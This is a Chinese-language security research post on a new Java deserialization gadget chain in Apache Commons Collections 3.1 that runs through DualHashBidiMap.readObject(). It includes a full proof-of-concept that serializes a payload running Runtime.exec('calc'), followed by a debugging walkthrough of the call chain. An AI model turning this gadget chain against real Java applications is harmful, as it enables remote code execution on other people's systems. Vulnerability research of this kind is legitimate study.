最近复习了下之前的关于Commons Collections这块的笔记,从CC1到CC10,从调用链来看,其实都是很相似的。为了巩固下复习的效果,尝试挖掘一条新的调用链,遂出现了本文,大佬轻喷。
建议读者对Commons Collections链有一定了解后再阅读此文。
这里直接用ysoserial的源码就可以,jdk的版本我这里用的是1.8u131。我们应该知道,在这个jdk版本下,CC1和CC3中利用的AnnotationInvocationHandler是经过修复的,在CC1和CC3的调用链中,都是利用AnnotationInvocationHandler.readObject()来作为入口。
所以,首先我们全局搜索“readObject(”:
经过筛选,找到org.apache.commons.collections.bidimap.DualHashBidiMap这个类,其依赖于commons-collections-3.1.jar
我们来看DualHashBidiMap的readObject():
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}
跟进DualHashBidiMap的父类AbstractDualBidiMap#putAll方法:
public void putAll(Map map) {
for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
Map.Entry entry = (Map.Entry) it.next();
put(entry.getKey(), entry.getValue());
}
}
跟进AbstractDualBidiMap.put():
public Object put(Object key, Object value) {
if (maps[0].containsKey(key)) {
maps[1].remove(maps[0].get(key));
}
if (maps[1].containsKey(value)) {
maps[0].remove(maps[1].get(value));
}
final Object obj = maps[0].put(key, value);
maps[1].put(value, key);
return obj;
}
注意这里的
if (maps[0].containsKey(key)) {
maps[1].remove(maps[0].get(key));
}
1、由这个
maps[0].containsKey(key)
依据之前的CC链,可联想到HashMap#containsKey(key),其中调用了hash(key)->key.hashCode(),进而联想到TiedMapEntry#hashCode(),我们可构造将key设为TiedMapEntry对象即可。
2、由这个
maps[0].get(key)
依据之前的CC链,可联想到LazyMap.get(key),但是这里实际是无法构造利用的,后边会说到,读者可以先思考一下是为什么。
找到了readObject()入口,接下来我们有必要来了解一下DualHashBidiMap这个类的作用。
我们可以直接从源码来看:
依据此类的英文注释及其字段和方法的定义,可知commons-collections包中提供此集合类,作用为双向map,即可以通过key找到value,也可以通过value找到key。
其抽象类AbstractDualBidiMap为其提供了一些字段定义及一些常用方法。
大概思路有了,类的定义也了解了,我们可以开始构造POC
我这里先贴上最终POC,然后会进行讲解。
package ysoserial;import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class PocDualHashBidiMap {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");// Map<String, Object>,这个Map对象的键是String类型,值是Object类型
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(payload_instance);
outputStream.close();FileInputStream fis = new FileInputStream("payload_dualHashBidMap1.ser");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
这一部分是利用的CC1中的一部分POC,这里大概讲一下思路,不深入讲解了。
由于LazyMap对象是无法直接通过构造方法来构造的,需要通过其decorate方法来绑定一个转换器,这里绑定了ChainedTransformer对象。然后就可以通过调用LazyMap.get()进而调用到ChainedTransformer.transform(),又可进而遍历调用到ChainedTransformer对象中的4个对象(1个ConstantTransformer3个InvokerTransformer)的transform(),第一次遍历调用transform()的结果作为入参传入第二次遍历调用的transform(),以此类推。ConstantTransformer.transform()会直接返回传入的参数值,InvokerTransformer.transform()会反射调用方法。
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
依据我们前边联想到的思路,这里为了利用TiedMapEntry#hashCode(),此方法是CC6和CC7其中的一环,这里就不分析了,后边调试的时候会说。
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);
其实在这里,我们构造的恶意TiedMapEntry不管是放在键位还是值位,都是可以的,后边会说到。
我们在构造DualHashBidiMap对象时,选的是3入参的构造方法,这里看下:
protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
super(normalMap, reverseMap, inverseBidiMap);
}
由于此构造方法为protected的,所以我们需要利用反射来构造
super对应DualHashBidiMap的父类AbstractDualBidiMap的构造方法:
protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
super();
maps[0] = normalMap;
maps[1] = reverseMap;
this.inverseBidiMap = inverseBidiMap;
}
为了便于理解,配合调试来讲解:
当“DualHashBidiMap的构造方法中、调用super来调用父类AbstractDualBidiMap的构造方法”时,调试进入AbstractDualBidiMap类中,this表示的仍是DualHashBidiMap,也就是说,AbstractDualBidiMap构造的字段都是属于DualHashBidiMap对象的:
断点来到父类AbstractDualBidiMap的构造方法时,会先依据AbstractDualBidiMap类中,对于一些字段的初始化定义,都给到DualHashBidiMap对象
DualHashBidiMap对象会得到这些字段属性,包括maps[0]和maps[1]属性:
public abstract class AbstractDualBidiMap implements BidiMap {/**
* Delegate map array. The first map contains standard entries, and the
* second contains inverses.
*/
protected transient final Map[] maps = new Map[2];
/**
* Inverse view of this map.
*/
protected transient BidiMap inverseBidiMap = null;
/**
* View of the keys.
*/
protected transient Set keySet = null;
/**
* View of the values.
*/
protected transient Collection values = null;
/**
* View of the entries.
*/
protected transient Set entrySet = null;
而这个
maps[0] = normalMap;
对应POC中:
Object payload_instance = m_ctor.newInstance(map, null, null);
所以,赋值给maps[0]的就是normalMap(我们构造的HashMap对象)
也就是说,此时的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象,对应POC构造的:
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
DualHashBidiMap对象构造好之后,序列化时,会将这些字段属性一层一层写入序列化流:
构造好POC后,打上断点,调试分析一下:
反序列化时,来看DualHashBidiMap的自实现的 readObject() :
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}
可以看到,maps[0]和maps[1]属性都被赋值为空的HashMap对象了,这不是与我们上边构造的冲突了吗?
调试到此处看下:
我们上边构造的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象的值就是恶意TiedMapEntry对象。
调试发现,DualHashBidiMap的自实现的 readObject() 中的
Map map = (Map) in.readObject();
实际就是把我们POC中构造的HashMap对象:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
给取出来了,给到Map对象map,然后调用 putAll() 时,作为入参传入此Map对象:
可以这样理解,readObject方法就是反序列化读取出来当前类中的对象,具体是哪个字段,哪一层的,其实是不固定的:
执行完
Map map = (Map) in.readObject();
这句后,反序列化之后的DualHashBidiMap对象的maps[0]和maps[1]属性还是空的HashMap对象,没有改变:
跟进putAll方法:
迭代读取HashMap$Node对象节点。
第一个就是我们构造的恶意HashMap$Node对象:
跟进put方法:
maps[0]和maps[1]都为刚才readObject方法中赋值的空的HashMap对象,这也就是前边说的,为什么不可利用LazyMap.get()
我们可以通过这个maps[1],来到HashMap#containsKey方法:
此时的key为构造的恶意TiedMapEntry对象,继续跟进hash方法:
跟进hashCode方法:
继续跟进getValue方法:
这里开始就和CC1的调用链重叠了,就不继续跟进了。
DualHashBidiMap.readObject() -> AbstractDualBidiMap.putAll() -> AbstractDualBidiMap.put() -> HashMap.containsKey() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform()
其实就是一些之前CC链的拼接而已。